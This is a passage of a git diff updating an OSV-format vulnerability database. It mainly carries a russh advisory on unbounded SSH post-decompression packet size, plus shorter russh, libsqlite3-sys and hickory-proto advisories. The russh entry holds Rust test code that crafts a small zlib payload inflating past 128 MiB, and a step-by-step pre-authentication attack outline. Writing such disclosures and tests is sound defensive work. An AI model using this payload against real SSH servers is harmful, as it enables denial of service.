([L75-L100](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass-desktop/native/napi/src/ssh_agent/mod.rs#L75-L100)). That check never runs.\n- Proton also removes keys from the agent on lock and logout ([ssh-agent.middleware.ts L23-L27](https://github.com/ProtonMail/WebClients/blob/64862561fea883c1b4360b7338a0102eaad5c0fb/applications/pass/src/app/Store/ssh-agent.middleware.ts#L23-L27)).\n\nSo the exposure there is limited to states in which keys stay loaded while Pass is not unlocked. Their own code notes, for example, that the agent persists across renderer reloads and account switches.\n\n### Suggested fix\n\n```diff\n--- a/russh/src/keys/agent/server.rs\n+++ b/russh/src/keys/agent/server.rs\n@@ -346,11 +346,7 @@ impl= 0.34.0, < 0.58.0`, the remote decompression path still used `CryptoVec`. Remote compressed SSH traffic could drive that path, and under constrained memory that historical code path could abort the process.\n- In current-style releases `>= 0.58.0`, non-secret packet/decompression buffers were moved off `CryptoVec` and onto `Vec`, but the post-decompression size still remained unbounded. So the bug class remained reachable remotely, but the maintained-line impact is a current remote DoS / oversized-packet-acceptance issue rather than the older `CryptoVec`-based abort story.\n- The maintained-line fix was verified against `0.60.2`.\n\nCompression is not selected in a default-vs-default `russh` session because the default preference order puts `none` first. However, the default server configuration still advertises `zlib` and `zlib@openssh.com`, and server-side negotiation follows the client's preference order for common algorithms. A client that prefers compression can therefore negotiate it with a default `russh` server.\n\nOpenSSH portable was checked at `/home/mjc/projects/openssh-portable` commit `45b30e0a5`. OpenSSH enforces a `256 KiB` transport packet cap before decompression, but it does not reuse that cap after decompression. Instead, decompression writes to an `sshbuf`, which is indirectly bounded by OpenSSH's `SSHBUF_SIZE_MAX` hard maximum of `0x8000000` bytes (`128 MiB`).\n\nThe patch direction should follow that model: add an explicit post-decompression ceiling of `128 MiB`, rather than assuming the compressed transport packet cap also bounds decompressed payload size.\n\nRelevant OpenSSH reference points:\n\n- `/home/mjc/projects/openssh-portable/packet.c`: `PACKET_MAX_SIZE (256 * 1024)`\n- `/home/mjc/projects/openssh-portable/packet.c`: `uncompress_buffer()` inflates into `compression_buffer`\n- `/home/mjc/projects/openssh-portable/sshbuf.h`: `SSHBUF_SIZE_MAX 0x8000000`\n\n### RFC / OpenSSH Comparison\n\nRFC 4253 section 6 defines the binary packet format:\n\n- `packet_length`\n- `padding_length`\n- `payload`\n- random padding\n- MAC\n\nRFC 4253 section 6.2 says that, when compression is negotiated, the `payload` field is compressed, and that `packet_length` and MAC are computed from the compressed payload. The RFC also says implementations should check that packet length is reasonable to avoid denial-of-service and buffer-overflow attacks.\n\nThat means the pre-decompression transport packet length check is necessary but not sufficient. A correct implementation still needs a reasonable bound on the decompressed payload that becomes parser input.\n\nOpenSSH provides such a bound indirectly through `sshbuf`'s hard maximum. The `russh` fix should make the corresponding post-decompression bound explicit.\n\n### PoC\n\nThere were two kinds of proof:\n\n- a wire-cap sanity test showing an attacker-crafted best-compressed `DEBUG` payload can stay below the normal SSH transport packet cap while still inflating beyond the intended post-decompression bound\n- direct client and server receive-path tests that exercise the oversized post-decompression behavior itself\n\nThe current in-tree regression tests are:\n\n- `tests::compress::oversized_debug_payload_can_stay_below_wire_cap`\n- `compression::tests::oversized_decompressed_packet_is_rejected`\n- `client::tests::compressed_debug_is_ignored_after_client_parses_it`\n- `client::tests::oversized_compressed_debug_is_rejected_before_client_ignores_it`\n- `server::session::tests::compressed_debug_is_ignored_after_server_parses_it`\n- `server::session::tests::oversized_compressed_debug_is_rejected_before_server_ignores_it`\n\nThe important behavior is:\n\n1. An attacker-crafted best-compressed `DEBUG` payload can stay below the normal `256 KiB` transport packet cap while still inflating beyond `128 MiB`.\n2. In the direct client and server receive paths, small compressed `DEBUG` packets are still ignored normally after parsing.\n3. In the direct client and server receive paths, oversized compressed `DEBUG` packets are rejected before the implementation reaches the normal \"ignore DEBUG\" behavior.\n\nThe strongest PoC for severity is the unauthenticated server-side case. A malicious client can choose `zlib` in the initial key exchange, because the default server advertises it and server-side negotiation follows the client's preference order for common algorithms. After `NEWKEYS`, but before authentication, the client can send a transport-layer `SSH_MSG_DEBUG` packet whose compressed body is below the transport packet cap but whose decompressed body exceeds the post-decompression cap.\n\nThat demonstrates the `AV:N/AC:L/PR:N/UI:N` case directly: the attacker is a remote SSH client and does not need a successfully authenticated session.\n\n```rust\nfn compressed_debug_payload(payload_len: usize) -> Vec {\n let mut payload = vec![b'A'; payload_len];\n payload[0] = crate::msg::DEBUG;\n\n let mut encoder =\n flate2::write::ZlibEncoder::new(Vec::new(), flate2::Compression::best());\n encoder.write_all(&payload).unwrap();\n let compressed = encoder.finish().unwrap();\n\n assert!(\n compressed.len() < 256 * 1024,\n \"oversized post-decompression payload still fits under the wire cap\"\n );\n compressed\n}\n\nfn incoming_packet(compressed: Vec) -> SSHBuffer {\n let mut buffer = SSHBuffer::new();\n // maybe_decompress() receives the clear SSHBuffer after packet framing,\n // and decompresses bytes after packet_length + padding_length.\n buffer.buffer.extend_from_slice(&[0; 5]);\n buffer.buffer.extend_from_slice(&compressed);\n buffer\n}\n\n#[test]\nfn unauthenticated_client_zlib_debug_is_rejected_by_server_before_auth() {\n let mut server = preauth_server_session_after_newkeys_with_zlib_decompressor();\n let oversized = MAXIMUM_DECOMPRESSED_PACKET_LEN + 1024;\n let buffer = incoming_packet(compressed_debug_payload(oversized));\n\n let err = server.maybe_decompress(&buffer).unwrap_err();\n assert!(\n matches!(err, crate::Error::PacketSize(len) if len > MAXIMUM_DECOMPRESSED_PACKET_LEN)\n );\n}\n```\n\nThe equivalent wire-level attack shape is:\n\n```text\n1. Connect to a russh server using the default compression advertisement.\n2. Send SSH_MSG_KEXINIT with compression client-to-server preference:\n zlib,zlib@openssh.com,none\n3. Complete key exchange and send SSH_MSG_NEWKEYS.\n4. Before any SSH_MSG_USERAUTH_REQUEST, send a compressed SSH_MSG_DEBUG packet:\n - compressed packet body: < 256 KiB\n - decompressed packet body: > 128 MiB\n5. Vulnerable behavior: russh accepts and inflates the packet, then reaches the\n normal DEBUG ignore path.\n6. Fixed behavior: russh rejects during decompression with Error::PacketSize.\n```\n\nThe direct receive-path client/server regression tests are still useful because they isolate the bug precisely. They construct the post-decryption compressed packet body passed to `maybe_decompress()` and prove that the oversized packet is rejected before normal `DEBUG` ignore handling. The server-side pre-auth variant above is the one that justifies the highest CVSS framing for this bug.\n\nThe most important targeted checks are:\n\n```bash\ncargo test -p russh oversized_debug_payload_can_stay_below_wire_cap -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_client_ignores_it -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_server_ignores_it -- --nocapture\n```\n\nBefore the fix, both the direct client and direct server receive-path oversized checks went red because the compressed payload was accepted and decompressed instead of being rejected at the post-decompression boundary. After the fix, they pass.\n\n### Impact\n\nSuggested CVSS v3.1 for current maintained releases:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable by a remote SSH peer\n- `AC:L`: straightforward once compression is enabled\n- `PR:N`, `UI:N`: no prior auth or user interaction required\n- `C:N`, `I:N`: confidentiality or integrity impact was not demonstrated\n- `A:H`: remote peer can cause oversized post-decompression packet processing and disconnect / denial of service\n\nAffected versions:\n\n- historical stronger case: `russh >= 0.34.0, < 0.58.0`\n- current maintained remote DoS case: `russh >= 0.58.0`, including `0.60.3`\n\n### Fix / Patch Direction\n\nAdd an explicit maximum decompressed SSH packet size and enforce it inside `Decompress::decompress()` before returning decompressed bytes to the client or server packet parser.\n\nThe intended ceiling is `128 MiB`, matching OpenSSH portable's effective `sshbuf` hard maximum for post-decompression packet storage. The fix should reject decompression output larger than that bound with a packet-size error before normal message dispatch.\n\nThe fix should preserve normal compressed packet behavior below the cap, including `DEBUG` packets that are decompressed and then ignored through the existing normal path.\n\nPatch branch:\n\n```text\nfix/zlib-decompression-cap\n```","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wwx6-x28x-8259/GHSA-wwx6-x28x-8259.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-wwx6-x28x-8259"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46702"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/2692a6f66edafaf63f463c412b45d8490f7ad06e"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.61.1"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-05-29T19:37:14Z","nvd_published_at":"2026-06-10T22:17:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-wwx6-x28x-8259","published":"2026-05-29T19:37:14Z","modified":"2026-11-12T08:10:46.231203956Z","aliases":["CVE-2026-46702","RUSTSEC-2026-0493"],"summary":"russh: Post-decompression SSH packet size was not bounded, allowing remote oversized compressed packets","details":"### Summary\n\nWhen SSH compression is enabled, `russh` accepted compressed packets whose on-wire size passed the normal transport packet-length checks but whose decompressed size was much larger. This allowed a remote peer to send oversized post-decompression packets that should have been rejected.\n\nIn current releases, this is a remote denial-of-service / resource-exhaustion issue in the post-decompression receive path.\n\nIn older releases before `0.58.0`, the same remote decompression path used `CryptoVec`, which appears to make the historical impact worse.\n\n### Details\n\nThe normal SSH transport read path enforces a packet-length limit before the packet body is read:\n\n- `russh/src/cipher/mod.rs`\n\nHowever, RFC 4253 compression is applied to the SSH `payload` field only. The `packet_length` field and MAC are computed over the compressed payload, so a packet that is reasonably sized on the wire can still expand to a much larger message body after decompression.\n\nIn `russh`, compressed packet bodies are later decompressed in:\n\n- `russh/src/compression.rs`\n- `russh/src/client/mod.rs`\n- `russh/src/server/session.rs`\n\nBefore the fix, `Decompress::decompress()` grew its output buffer by repeated doubling and did not enforce a separate post-decompression ceiling. That meant a peer could send a small compressed packet that passed the normal on-wire transport length checks and then inflate it into a much larger packet after decompression.\n\nIt was verified that an attacker-crafted compressed payload can stay below the normal `256 KiB` implementation transport packet cap while still inflating above the intended post-decompression bound. In other words, this is not only a \"large on-wire packet\" issue.\n\nVersion detail:\n\n- The underlying post-decompression bounds bug appears to affect `russh` as far back as `0.34.0`.\n- In historical releases `>= 0.34.0, < 0.58.0`, the remote decompression path still used `CryptoVec`. Remote compressed SSH traffic could drive that path, and under constrained memory that historical code path could abort the process.\n- In current-style releases `>= 0.58.0`, non-secret packet/decompression buffers were moved off `CryptoVec` and onto `Vec`, but the post-decompression size still remained unbounded. So the bug class remained reachable remotely, but the maintained-line impact is a current remote DoS / oversized-packet-acceptance issue rather than the older `CryptoVec`-based abort story.\n- The maintained-line fix was verified against `0.60.2`.\n\nCompression is not selected in a default-vs-default `russh` session because the default preference order puts `none` first. However, the default server configuration still advertises `zlib` and `zlib@openssh.com`, and server-side negotiation follows the client's preference order for common algorithms. A client that prefers compression can therefore negotiate it with a default `russh` server.\n\nOpenSSH portable was checked at `/home/mjc/projects/openssh-portable` commit `45b30e0a5`. OpenSSH enforces a `256 KiB` transport packet cap before decompression, but it does not reuse that cap after decompression. Instead, decompression writes to an `sshbuf`, which is indirectly bounded by OpenSSH's `SSHBUF_SIZE_MAX` hard maximum of `0x8000000` bytes (`128 MiB`).\n\nThe patch direction should follow that model: add an explicit post-decompression ceiling of `128 MiB`, rather than assuming the compressed transport packet cap also bounds decompressed payload size.\n\nRelevant OpenSSH reference points:\n\n- `/home/mjc/projects/openssh-portable/packet.c`: `PACKET_MAX_SIZE (256 * 1024)`\n- `/home/mjc/projects/openssh-portable/packet.c`: `uncompress_buffer()` inflates into `compression_buffer`\n- `/home/mjc/projects/openssh-portable/sshbuf.h`: `SSHBUF_SIZE_MAX 0x8000000`\n\n### RFC / OpenSSH Comparison\n\nRFC 4253 section 6 defines the binary packet format:\n\n- `packet_length`\n- `padding_length`\n- `payload`\n- random padding\n- MAC\n\nRFC 4253 section 6.2 says that, when compression is negotiated, the `payload` field is compressed, and that `packet_length` and MAC are computed from the compressed payload. The RFC also says implementations should check that packet length is reasonable to avoid denial-of-service and buffer-overflow attacks.\n\nThat means the pre-decompression transport packet length check is necessary but not sufficient. A correct implementation still needs a reasonable bound on the decompressed payload that becomes parser input.\n\nOpenSSH provides such a bound indirectly through `sshbuf`'s hard maximum. The `russh` fix should make the corresponding post-decompression bound explicit.\n\n### PoC\n\nThere were two kinds of proof:\n\n- a wire-cap sanity test showing an attacker-crafted best-compressed `DEBUG` payload can stay below the normal SSH transport packet cap while still inflating beyond the intended post-decompression bound\n- direct client and server receive-path tests that exercise the oversized post-decompression behavior itself\n\nThe current in-tree regression tests are:\n\n- `tests::compress::oversized_debug_payload_can_stay_below_wire_cap`\n- `compression::tests::oversized_decompressed_packet_is_rejected`\n- `client::tests::compressed_debug_is_ignored_after_client_parses_it`\n- `client::tests::oversized_compressed_debug_is_rejected_before_client_ignores_it`\n- `server::session::tests::compressed_debug_is_ignored_after_server_parses_it`\n- `server::session::tests::oversized_compressed_debug_is_rejected_before_server_ignores_it`\n\nThe important behavior is:\n\n1. An attacker-crafted best-compressed `DEBUG` payload can stay below the normal `256 KiB` transport packet cap while still inflating beyond `128 MiB`.\n2. In the direct client and server receive paths, small compressed `DEBUG` packets are still ignored normally after parsing.\n3. In the direct client and server receive paths, oversized compressed `DEBUG` packets are rejected before the implementation reaches the normal \"ignore DEBUG\" behavior.\n\nThe strongest PoC for severity is the unauthenticated server-side case. A malicious client can choose `zlib` in the initial key exchange, because the default server advertises it and server-side negotiation follows the client's preference order for common algorithms. After `NEWKEYS`, but before authentication, the client can send a transport-layer `SSH_MSG_DEBUG` packet whose compressed body is below the transport packet cap but whose decompressed body exceeds the post-decompression cap.\n\nThat demonstrates the `AV:N/AC:L/PR:N/UI:N` case directly: the attacker is a remote SSH client and does not need a successfully authenticated session.\n\n```rust\nfn compressed_debug_payload(payload_len: usize) -> Vec {\n let mut payload = vec![b'A'; payload_len];\n payload[0] = crate::msg::DEBUG;\n\n let mut encoder =\n flate2::write::ZlibEncoder::new(Vec::new(), flate2::Compression::best());\n encoder.write_all(&payload).unwrap();\n let compressed = encoder.finish().unwrap();\n\n assert!(\n compressed.len() < 256 * 1024,\n \"oversized post-decompression payload still fits under the wire cap\"\n );\n compressed\n}\n\nfn incoming_packet(compressed: Vec) -> SSHBuffer {\n let mut buffer = SSHBuffer::new();\n // maybe_decompress() receives the clear SSHBuffer after packet framing,\n // and decompresses bytes after packet_length + padding_length.\n buffer.buffer.extend_from_slice(&[0; 5]);\n buffer.buffer.extend_from_slice(&compressed);\n buffer\n}\n\n#[test]\nfn unauthenticated_client_zlib_debug_is_rejected_by_server_before_auth() {\n let mut server = preauth_server_session_after_newkeys_with_zlib_decompressor();\n let oversized = MAXIMUM_DECOMPRESSED_PACKET_LEN + 1024;\n let buffer = incoming_packet(compressed_debug_payload(oversized));\n\n let err = server.maybe_decompress(&buffer).unwrap_err();\n assert!(\n matches!(err, crate::Error::PacketSize(len) if len > MAXIMUM_DECOMPRESSED_PACKET_LEN)\n );\n}\n```\n\nThe equivalent wire-level attack shape is:\n\n```text\n1. Connect to a russh server using the default compression advertisement.\n2. Send SSH_MSG_KEXINIT with compression client-to-server preference:\n zlib,zlib@openssh.com,none\n3. Complete key exchange and send SSH_MSG_NEWKEYS.\n4. Before any SSH_MSG_USERAUTH_REQUEST, send a compressed SSH_MSG_DEBUG packet:\n - compressed packet body: < 256 KiB\n - decompressed packet body: > 128 MiB\n5. Vulnerable behavior: russh accepts and inflates the packet, then reaches the\n normal DEBUG ignore path.\n6. Fixed behavior: russh rejects during decompression with Error::PacketSize.\n```\n\nThe direct receive-path client/server regression tests are still useful because they isolate the bug precisely. They construct the post-decryption compressed packet body passed to `maybe_decompress()` and prove that the oversized packet is rejected before normal `DEBUG` ignore handling. The server-side pre-auth variant above is the one that justifies the highest CVSS framing for this bug.\n\nThe most important targeted checks are:\n\n```bash\ncargo test -p russh oversized_debug_payload_can_stay_below_wire_cap -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_client_ignores_it -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_server_ignores_it -- --nocapture\n```\n\nBefore the fix, both the direct client and direct server receive-path oversized checks went red because the compressed payload was accepted and decompressed instead of being rejected at the post-decompression boundary. After the fix, they pass.\n\n### Impact\n\nSuggested CVSS v3.1 for current maintained releases:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable by a remote SSH peer\n- `AC:L`: straightforward once compression is enabled\n- `PR:N`, `UI:N`: no prior auth or user interaction required\n- `C:N`, `I:N`: confidentiality or integrity impact was not demonstrated\n- `A:H`: remote peer can cause oversized post-decompression packet processing and disconnect / denial of service\n\nAffected versions:\n\n- historical stronger case: `russh >= 0.34.0, < 0.58.0`\n- current maintained remote DoS case: `russh >= 0.58.0`, including `0.60.3`\n\n### Fix / Patch Direction\n\nAdd an explicit maximum decompressed SSH packet size and enforce it inside `Decompress::decompress()` before returning decompressed bytes to the client or server packet parser.\n\nThe intended ceiling is `128 MiB`, matching OpenSSH portable's effective `sshbuf` hard maximum for post-decompression packet storage. The fix should reject decompression output larger than that bound with a packet-size error before normal message dispatch.\n\nThe fix should preserve normal compressed packet behavior below the cap, including `DEBUG` packets that are decompressed and then ignored through the existing normal path.\n\nPatch branch:\n\n```text\nfix/zlib-decompression-cap\n```","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wwx6-x28x-8259/GHSA-wwx6-x28x-8259.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-wwx6-x28x-8259"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46702"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/2692a6f66edafaf63f463c412b45d8490f7ad06e"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.61.1"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-05-29T19:37:14Z","nvd_published_at":"2026-06-10T22:17:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2024-0450.json b/data/crates.io/RUSTSEC-2024-0450.json new file mode 100644 index 0000000000..99abd41b84 --- /dev/null +++ b/data/crates.io/RUSTSEC-2024-0450.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2024-0450","published":"2024-08-14T12:00:00Z","modified":"2026-11-12T08:00:04.086372577Z","aliases":["CVE-2024-43410","GHSA-vgvv-x7xg-6cqg"],"summary":"Memory exhaustion from an unchecked SSH packet length","details":"When reading a packet, russh took the 4-byte packet length sent by the peer and sized its receive buffer from it without any upper bound. The length is fully controlled by the other side of the connection and is read before authentication, so an unauthenticated client can claim packets of up to about 4 GiB and make a server allocate that much memory per connection. A few such connections are enough to run the process out of memory.\n\nFrom 0.44.1, lengths above 256 KiB are rejected with `Error::PacketSize` before the buffer is sized.","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.44.1"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2024-0450.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/russh"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2024-0450.html"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0459.json b/data/crates.io/RUSTSEC-2026-0459.json index 9271f9367d..cae049b9da 100644 --- a/data/crates.io/RUSTSEC-2026-0459.json +++ b/data/crates.io/RUSTSEC-2026-0459.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0459","published":"2026-10-30T12:00:00Z","modified":"2026-11-09T10:00:02.337112425Z","aliases":["CVE-2026-119375","GHSA-72w2-rjgg-q729"],"summary":"`libsqlite3-sys` via C SQLite CVE-2026-119375","details":"SQLite versions before 3.54.0 can return uninitialized page-cache memory when a process opens a database file together with a sibling write-ahead-log (`-wal`) file whose page size differs from the database's. A crafted pair of files can make ordinary queries return stale bytes from the process's memory. The attack vector is local and needs the victim to open the files.\n\nAs `libsqlite3-sys` bundles SQLite when it is built from its bundled source (the `bundled` feature, which `rusqlite`'s `bundled` feature enables), it is susceptible to the vulnerability. The releases `0.6.0` to `0.38.2` bundle SQLite `3.13.0` to `3.53.2` and are affected; the earlier releases contain no SQLite source. `libsqlite3-sys` was updated to bundle the patched version of SQLite in `0.39.0` (SQLite `3.54.0`) and `0.39.1` (SQLite `3.54.1`), released with [`rusqlite` 0.41](https://github.com/rusqlite/rusqlite/releases/tag/v0.41.0). `libsqlite3-sys` `0.39` declares Rust 1.88 and `rusqlite` `0.41` declares Rust 1.89.\n\nOnly a process that opens a database file, with its `-wal`, that a less trusted party could have written is exposed. A build that links a system SQLite instead of the bundled source is not affected by the copy in this crate; its exposure is that of the system library's version. The `bundled-sqlcipher` feature builds SQLCipher instead of SQLite; in `0.39.0` and `0.39.1` it depends on `sqlcipher-src =419.0.6`, which bundles SQLite `3.53.4` and is affected.","affected":[{"package":{"name":"libsqlite3-sys","ecosystem":"crates.io","purl":"pkg:cargo/libsqlite3-sys"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"0.39.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["memory-exposure"],"cvss":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0459.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/libsqlite3-sys"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0459.html"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119375"},{"type":"WEB","url":"https://sqlite.org/bugs/info/2026-08-17T15:54:41Z"},{"type":"WEB","url":"https://github.com/sqlite/sqlite/commit/e5bf119821f25be1d7f10ef0a2edbe175289166e"},{"type":"WEB","url":"https://sqlite.org/releaselog/3_54_0.html"},{"type":"WEB","url":"https://github.com/rusqlite/rusqlite/releases/tag/v0.41.0"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0459","published":"2026-10-30T12:00:00Z","modified":"2026-11-12T08:11:00.097392529Z","aliases":["CVE-2026-119375","GHSA-72w2-rjgg-q729","RUSTSEC-2026-0502"],"summary":"`libsqlite3-sys` via C SQLite CVE-2026-119375","details":"SQLite versions before 3.54.0 can return uninitialized page-cache memory when a process opens a database file together with a sibling write-ahead-log (`-wal`) file whose page size differs from the database's. A crafted pair of files can make ordinary queries return stale bytes from the process's memory. The attack vector is local and needs the victim to open the files.\n\nAs `libsqlite3-sys` bundles SQLite when it is built from its bundled source (the `bundled` feature, which `rusqlite`'s `bundled` feature enables), it is susceptible to the vulnerability. The releases `0.6.0` to `0.38.2` bundle SQLite `3.13.0` to `3.53.2` and are affected; the earlier releases contain no SQLite source. `libsqlite3-sys` was updated to bundle the patched version of SQLite in `0.39.0` (SQLite `3.54.0`) and `0.39.1` (SQLite `3.54.1`), released with [`rusqlite` 0.41](https://github.com/rusqlite/rusqlite/releases/tag/v0.41.0). `libsqlite3-sys` `0.39` declares Rust 1.88 and `rusqlite` `0.41` declares Rust 1.89.\n\nOnly a process that opens a database file, with its `-wal`, that a less trusted party could have written is exposed. A build that links a system SQLite instead of the bundled source is not affected by the copy in this crate; its exposure is that of the system library's version. The `bundled-sqlcipher` feature builds SQLCipher instead of SQLite; in `0.39.0` and `0.39.1` it depends on `sqlcipher-src =419.0.6`, which bundles SQLite `3.53.4` and is affected.","affected":[{"package":{"name":"libsqlite3-sys","ecosystem":"crates.io","purl":"pkg:cargo/libsqlite3-sys"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"0.39.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["memory-exposure"],"cvss":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0459.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/libsqlite3-sys"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0459.html"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119375"},{"type":"WEB","url":"https://sqlite.org/bugs/info/2026-08-17T15:54:41Z"},{"type":"WEB","url":"https://github.com/sqlite/sqlite/commit/e5bf119821f25be1d7f10ef0a2edbe175289166e"},{"type":"WEB","url":"https://sqlite.org/releaselog/3_54_0.html"},{"type":"WEB","url":"https://github.com/rusqlite/rusqlite/releases/tag/v0.41.0"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0487.json b/data/crates.io/RUSTSEC-2026-0487.json index 4f9f7fa1a7..eeb8309133 100644 --- a/data/crates.io/RUSTSEC-2026-0487.json +++ b/data/crates.io/RUSTSEC-2026-0487.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"RUSTSEC-2026-0487","published":"2026-09-03T12:00:00Z","modified":"2026-11-11T12:30:02.446157507Z","aliases":["GHSA-hx8c-fjhc-hmf5"],"summary":"Panic on a malformed `alpn` value when parsing SVCB or HTTPS records from text","details":"When an SVCB or HTTPS record is parsed from its text (zone file) form, the `alpn` service parameter value is split into a list of protocol names. That step called `expect` on the result, on the assumption that it could not fail. A malformed value, such as one with an unbalanced quote (`alpn=\"h`), two commas in a row or an invalid escape, makes it fail, so the parser panicked instead of returning an error.\n\nCode that parses zone files or record text from an untrusted source can be made to panic, which is a denial of service. Records decoded from the DNS wire format are not parsed this way.\n\nThe fix returns a parse error instead. It is in 0.26.2.","affected":[{"package":{"name":"hickory-proto","ecosystem":"crates.io","purl":"pkg:cargo/hickory-proto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.20.1"},{"fixed":"0.26.2"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0487.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hickory-proto"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0487.html"},{"type":"WEB","url":"https://github.com/hickory-dns/hickory-dns/commit/80eaf9e79f7561e2bc1cf5b89eaba7fd25de3284"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0487","published":"2026-09-03T12:00:00Z","modified":"2026-11-12T09:45:02.502326297Z","aliases":["CVE-2026-123572","GHSA-hx8c-fjhc-hmf5"],"summary":"Panic on a malformed `alpn` value when parsing SVCB or HTTPS records from text","details":"When an SVCB or HTTPS record is parsed from its text (zone file) form, the `alpn` service parameter value is split into a list of protocol names. That step called `expect` on the result, on the assumption that it could not fail. A malformed value, such as one with an unbalanced quote (`alpn=\"h`), two commas in a row or an invalid escape, makes it fail, so the parser panicked instead of returning an error.\n\nCode that parses zone files or record text from an untrusted source can be made to panic, which is a denial of service. Records decoded from the DNS wire format are not parsed this way.\n\nThe fix returns a parse error instead. It is in 